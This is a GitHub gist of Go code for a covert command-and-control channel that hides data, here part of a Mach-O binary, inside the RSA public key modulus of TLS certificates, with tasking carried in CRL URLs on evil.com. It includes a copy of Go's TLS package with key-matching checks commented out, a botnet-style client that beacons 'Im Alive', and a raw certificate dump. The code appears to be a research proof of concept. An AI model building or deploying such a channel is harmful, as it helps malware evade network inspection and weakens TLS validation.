Skip to content

Instantly share code, notes, and snippets.

@sysopfb
Created January 30, 2018 00:15
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sysopfb/d9deb9b8481e116cad1d62ceb5093073 to your computer and use it in GitHub Desktop.
Save sysopfb/d9deb9b8481e116cad1d62ceb5093073 to your computer and use it in GitHub Desktop.
x509 Public key modulus covert channel
//Part of Server code
priv, _ := rsa.GenerateKey(rand.Reader, 4096)
test := "z/rt/gcAAAEDAACAAgAAAA8AAACwBAAAhQAgAAAAAAAZAAAASAAAAF9fUEFHRVpFUk8AAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZAAAA2AEAAF9fVEVYVAAAAAAAAAAAAAAAAAAAAQAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAcAAAAFAAAABQAAAAAAAABfX3RleHQAAAAAAAAAAAAAX19URVhUAAAAAAAAAAAAAGAPAAABAAAAKgAAAAAAAABgDwAABAAAAAAAAAAAAAAAAAQAgAAAAAAAAAAAAAAAAF9fc3R1YnMAAAAAAAAAAABfX1RFWFQAAAAAAAAAAAAAig8AAAEAAAAGAAAAAAAAAIoPAAABAAAAAAAAAAAAAAAIBACAAAAAAAYAAAAAAAAAX19zdHViX2hlbHBlcgAAAF9fVEVYVAAAAAAAAAAAAACQDwAAAQAAABoAAAAAAAAAkA8AAAIAAAAAAAAAAAAAAAAEAIAAAAAAAAAAAAAAAABfX2NzdHJpbmcAAAAAAAAAX19URVhUAAAAAAAAAAAAAKoPAAABAAAADQAAAAAAAACqDwAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAF9fdW53aW5kX2luZm8AAAA="
data, _ := base64.StdEncoding.DecodeString(test)
_, ca, pv := helper.GenCertWithPubMod("EICAR", data, []string{"http://evil.com/ca1.crl", "http://evil2.com/ca2.crl"}, priv)
cert, err := customtls.X509KeyPair(ca, pv)
if err != nil {
log.Fatalf("server: loadkeys: %s", err)
}
cert2 := tls.Certificate{Certificate: cert.Certificate, PrivateKey: cert.PrivateKey, OCSPStaple: cert.OCSPStaple, SignedCertificateTimestamps: cert.SignedCertificateTimestampList, Leaf: cert.Leaf}
config := tls.Config{Certificates: []tls.Certificate{cert2}}
config.InsecureSkipVerify = true
config.VerifyPeerCertificate = verifyHook
config.ClientAuth = tls.RequireAnyClientCert
config.Rand = rand.Reader
service := "0.0.0.0:4433"
//In order to do that I had to comment out the private key and public key protections in the standard GO TLS package
//customtls
//From common.go
type Certificate struct {
Certificate [][]byte
PrivateKey crypto.PrivateKey // supported types: *rsa.PrivateKey, *ecdsa.PrivateKey
// OCSPStaple contains an optional OCSP response which will be served
// to clients that request it.
OCSPStaple []byte
// SignedCertificateTimestampList contains an optional encoded
// SignedCertificateTimestampList structure which will be
// served to clients that request it.
SignedCertificateTimestampList [][]byte
// Leaf is the parsed form of the leaf certificate, which may be
// initialized using x509.ParseCertificate to reduce per-handshake
// processing for TLS clients doing client authentication. If nil, the
// leaf certificate will be parsed as needed.
Leaf *x509.Certificate
}
// LoadX509KeyPair reads and parses a public/private key pair from a pair
// of files. The files must contain PEM encoded data. The certificate file
// may contain intermediate certificates following the leaf certificate to
// form a certificate chain. On successful return, Certificate.Leaf will
// be nil because the parsed form of the certificate is not retained.
func LoadX509KeyPair(certFile, keyFile string) (Certificate, error) {
certPEMBlock, err := ioutil.ReadFile(certFile)
if err != nil {
return Certificate{}, err
}
keyPEMBlock, err := ioutil.ReadFile(keyFile)
if err != nil {
return Certificate{}, err
}
return X509KeyPair(certPEMBlock, keyPEMBlock)
}
// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data. On successful return, Certificate.Leaf will be nil because
// the parsed form of the certificate is not retained.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) {
fail := func(err error) (Certificate, error) { return Certificate{}, err }
var cert Certificate
var skippedBlockTypes []string
for {
var certDERBlock *pem.Block
certDERBlock, certPEMBlock = pem.Decode(certPEMBlock)
if certDERBlock == nil {
break
}
if certDERBlock.Type == "CERTIFICATE" {
cert.Certificate = append(cert.Certificate, certDERBlock.Bytes)
} else {
skippedBlockTypes = append(skippedBlockTypes, certDERBlock.Type)
}
}
if len(cert.Certificate) == 0 {
if len(skippedBlockTypes) == 0 {
return fail(errors.New("tls: failed to find any PEM data in certificate input"))
}
if len(skippedBlockTypes) == 1 && strings.HasSuffix(skippedBlockTypes[0], "PRIVATE KEY") {
return fail(errors.New("tls: failed to find certificate PEM data in certificate input, but did find a private key; PEM inputs may have been switched"))
}
return fail(fmt.Errorf("tls: failed to find \"CERTIFICATE\" PEM block in certificate input after skipping PEM blocks of the following types: %v", skippedBlockTypes))
}
skippedBlockTypes = skippedBlockTypes[:0]
var keyDERBlock *pem.Block
for {
keyDERBlock, keyPEMBlock = pem.Decode(keyPEMBlock)
if keyDERBlock == nil {
if len(skippedBlockTypes) == 0 {
return fail(errors.New("tls: failed to find any PEM data in key input"))
}
if len(skippedBlockTypes) == 1 && skippedBlockTypes[0] == "CERTIFICATE" {
return fail(errors.New("tls: found a certificate rather than a key in the PEM for the private key"))
}
return fail(fmt.Errorf("tls: failed to find PEM block with type ending in \"PRIVATE KEY\" in key input after skipping PEM blocks of the following types: %v", skippedBlockTypes))
}
if keyDERBlock.Type == "PRIVATE KEY" || strings.HasSuffix(keyDERBlock.Type, " PRIVATE KEY") {
break
}
skippedBlockTypes = append(skippedBlockTypes, keyDERBlock.Type)
}
var err error
cert.PrivateKey, err = parsePrivateKey(keyDERBlock.Bytes)
if err != nil {
return fail(err)
}
// We don't need to parse the public key for TLS, but we so do anyway
// to check that it looks sane and matches the private key.
x509Cert, err := x509.ParseCertificate(cert.Certificate[0])
if err != nil {
return fail(err)
}
switch pub := x509Cert.PublicKey.(type) {
case *rsa.PublicKey:
priv, ok := cert.PrivateKey.(*rsa.PrivateKey)
if !ok {
return fail(errors.New("tls: private key type does not match public key type"))
}
if pub.N.Cmp(priv.N) != 0 {
//return fail(errors.New("tls: private key does not match public key"))
}
case *ecdsa.PublicKey:
priv, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
if !ok {
return fail(errors.New("tls: private key type does not match public key type"))
}
if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
//return fail(errors.New("tls: private key does not match public key"))
}
default:
return fail(errors.New("tls: unknown public key algorithm"))
}
return cert, nil
}
// Attempt to parse the given private key DER block. OpenSSL 0.9.8 generates
// PKCS#1 private keys by default, while OpenSSL 1.0.0 generates PKCS#8 keys.
// OpenSSL ecparam generates SEC1 EC private keys for ECDSA. We try all three.
func parsePrivateKey(der []byte) (crypto.PrivateKey, error) {
if key, err := x509.ParsePKCS1PrivateKey(der); err == nil {
return key, nil
}
if key, err := x509.ParsePKCS8PrivateKey(der); err == nil {
switch key := key.(type) {
case *rsa.PrivateKey, *ecdsa.PrivateKey:
return key, nil
default:
return nil, errors.New("tls: found unknown private key type in PKCS#8 wrapping")
}
}
if key, err := x509.ParseECPrivateKey(der); err == nil {
return key, nil
}
return nil, errors.New("tls: failed to parse private key")
}
//Client code
func verifyHook(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
cert, _ := x509.ParseCertificate(rawCerts[0])
fmt.Println(cert.PublicKey.(*rsa.PublicKey).N.Bytes())
return nil
}
type settings struct {
c2 string
port string
botnet string
priv *rsa.PrivateKey
}
func SendData(settings settings, data string) {
_, ca, pv := helper.GenCertWithString(settings.botnet, data, settings.priv)
c2 := settings.c2 + ":" + settings.port
cert, err := tls.X509KeyPair(ca, pv)
if err != nil {
log.Fatalf("server: loadkeys: %s", err)
}
config := tls.Config{Certificates: []tls.Certificate{cert}, VerifyPeerCertificate: verifyHook, InsecureSkipVerify: true}
conn, err := tls.Dial("tcp", c2, &config)
if err != nil {
log.Fatalf("client: dial: %s", err)
}
defer conn.Close()
log.Println("client: connected to: ", conn.RemoteAddr())
state := conn.ConnectionState()
for _, v := range state.PeerCertificates {
fmt.Println("Tasks: ", v.CRLDistributionPoints)
}
log.Println("client: handshake: ", state.HandshakeComplete)
log.Println("client: mutual: ", state.NegotiatedProtocolIsMutual)
log.Print("client: exiting")
}
func main() {
priv, _ := rsa.GenerateKey(rand.Reader, 4096)
c2_settings := settings{"127.0.0.1", "4433", "EICAR", priv}
SendData(c2_settings, "Im Alive")
}
//Portion of helper code for replacing the public key
pub := &priv.PublicKey
ca_b, err := x509.CreateCertificate(rand.Reader, ca, ca, pub, priv)
privPem := pem.EncodeToMemory(&pem.Block{
Type: "RSA PRIVATE KEY",
Bytes: x509.MarshalPKCS1PrivateKey(priv),
})
//Replace the public key modulus
bs := pub.N.Bytes()
newTest := bytes.Replace(ca_b, bs, data, 1)
if err != nil {
log.Fatalf("create cert failed %#v", err)
panic("Cert Creation Error")
}
certPem := pem.EncodeToMemory(&pem.Block{
Type: "CERTIFICATE",
Bytes: newTest,
})
@sysopfb
Copy link
Author

sysopfb commented Jan 30, 2018

Get an error after the server certificate hits the client in the TLS negotiation because some more code is validating the certificate data and throwing an error but we still have access to the data. The main downside with this is without rewriting another standard GO package the connection is killed and thus the client certificate is never sent.

Data received on the client from the server prior to killing the connection:
'0\x82\x05\x8e0\x82\x03v\xa0\x03\x02\x01\x02\x02\x02\x0590\r\x06\t*\x86H\x86\xf7\r\x01\x01\r\x05\x000G1\x100\x0e\x06\x03U\x04\x06\x13\x07Neuland1\x140\x12\x06\x03U\x04\n\x13\x0bExample Org1\r0\x0b\x06\x03U\x04\x0b\x13\x04Auto1\x0e0\x0c\x06\x03U\x04\x03\x13\x05EICAR0\x1e\x17\r180129020502Z\x17\r180208020502Z0G1\x100\x0e\x06\x03U\x04\x06\x13\x07Neuland1\x140\x12\x06\x03U\x04\n\x13\x0bExample Org1\r0\x0b\x06\x03U\x04\x0b\x13\x04Auto1\x0e0\x0c\x06\x03U\x04\x03\x13\x05EICAR0\x82\x02"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x02\x0f\x000\x82\x02\n\x02\x82\x02\x01\x00\xcf\xfa\xed\xfe\x07\x00\x00\x01\x03\x00\x00\x80\x02\x00\x00\x00\x0f\x00\x00\x00\xb0\x04\x00\x00\x85\x00 \x00\x00\x00\x00\x00\x19\x00\x00\x00H\x00\x00\x00__PAGEZERO\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\xd8\x01\x00\x00__TEXT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x05\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00__text\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00__TEXT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x01\x00\x00\x00*\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00__stubs\x00\x00\x00\x00\x00\x00\x00\x00\x00__TEXT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x8a\x0f\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x8a\x0f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x04\x00\x80\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00__stub_helper\x00\x00\x00__TEXT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x0f\x00\x00\x01\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x90\x0f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00__cstring\x00\x00\x00\x00\x00\x00\x00__TEXT\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xaa\x0f\x00\x00\x01\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\xaa\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00__unwind_info\x00\x00\x00\x02\x03\x01\x00\x01\xa3\x81\x830\x81\x800\x0e\x06\x03U\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x02\x840\x13\x06\x03U\x1d%\x04\x0c0\n\x06\x08+\x06\x01\x05\x05\x07\x03\x020\x0f\x06\x03U\x1d\x13\x01\x01\xff\x04\x050\x03\x01\x01\xff0H\x06\x03U\x1d\x1f\x04A0?0\x1d\xa0\x1b\xa0\x19\x86\x17http://evil.com/ca1.crl0\x1e\xa0\x1c\xa0\x1a\x86\x18http://evil2.com/ca2.crl0\r\x06\t*\x86H\x86\xf7\r\x01\x01\r\x05\x00\x03\x82\x02\x01\x00\x96NHP.N\x17\x06\x8e;\x1bE\xbcyX\x94\xd3\x9d\x01\x82\xc3\xd2>aB\xed\xd4*\xbb\xa11l\x97*V\xa31bt\x1e\xc0s\xc5&\xa3\xfc?\xe3\xac\x90\xad\x1a\xde\xf8\x0e\xe9b\xc8\x89\xdd\x98k\xb7\xadpW\xdb\xc9_s\x1cBf\t\x1c\xd1\xa7\x8d\x9dn\x88}\x93\xa9\x02\xef\xe0|\n\xe0\x12\xceq7X\xfc\xe0\x98\x0b\x95\xda(0\xc7Q\xc3v#^\xdd\xb2P\x93\x00\x07#\x01f\xf6h\x8b\xa4Uq\\\x08\xd8tj\xcew\x95@\x97%p\x7fm\xe9\xa2\xc3\x99$\x8c\xb5\xac\xfe\x1e\xa9\xef\xae!\xe8l\x10\x06!m\x90\xe0r\x87o\xa3\x1b\xde(\x0e\xc4FP\xb6Zp\x07,\xee\xa4\x14\x12[S5*\xce\x88\x1fb\xaf\x9e\xaf\xbd\xae\xc3\xc2\xea\x7f\x0cI\xbaJ\xa4\x1cT\x99\xffKvM\xb4K\xc0l\xbf\xfa\x1e\xf1z\xedH\xc3T\x07\xa6\xe5\x86\xfca\x01p\xa2\xe69]\xd5\x1f)\xc0\x95\xa3\xb8.Z\x97\xab\x82\x8d*3\x0c\x93\xad \xfcgf\xd1\xddm\x9bO[P7w#\x10\xd9\xe2$\xffi. ?\xe6;\xbf\xec\x9eh\xaa\xed\xb6\xa7\x97\xf4\xdb\xdd\xc7\xd5\x1c\x9bJV\x1bD\x93\x1b\xc1\x1d\xcbjyQA-P\x9dT\x19\xbbY\x10\xb6\xf9\xf7\xa0\x9a\x9c\xbd\xcb\x82\xb5,\x9f\xf9\xc4\xf2 \xf3yY\x9b}-\rx\xe1^\ra\x9b\x89r\xab\xd1\xb5\xe2<\x88\x82,\x1b,IKM8\nHr\xe6\xac\x82,k\x80\xd6#/\xfc6\xe3\xf5\x8f\x16e\xea\x17\xda\x88\x82\xc7?\x97!\x17\x87\r\x01i\x8cz\xf38?\xd5\xfa\x84;\x9b1\xa0j\xb7\xd6[:\xb5\x1af\xed\x00J\x981\xdd5\x0c\x85\xad\x13k\Sn\xf7\xec\xba\x90\x00\xa8\x96 a7}\xd2\xb7Vn\xa4$\xf7\xb7I\x02\t\xc5!\x91+8\x96\xa2Hm\xfd\x97\x96\xfa\xdd\xa6\x0fs\xda\xf4$G\x9c\xb2\x8b\x11\x8a;\x80\xec\x1a\x91\x1b\x83\xac_k\xd5@V\xafG=\x927\x9c\xbc\xdd\x0e\xd3\xdd\xda\x0e\xe5\xaf\x0bd\xef\xd1\x84\xee\xc9'

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment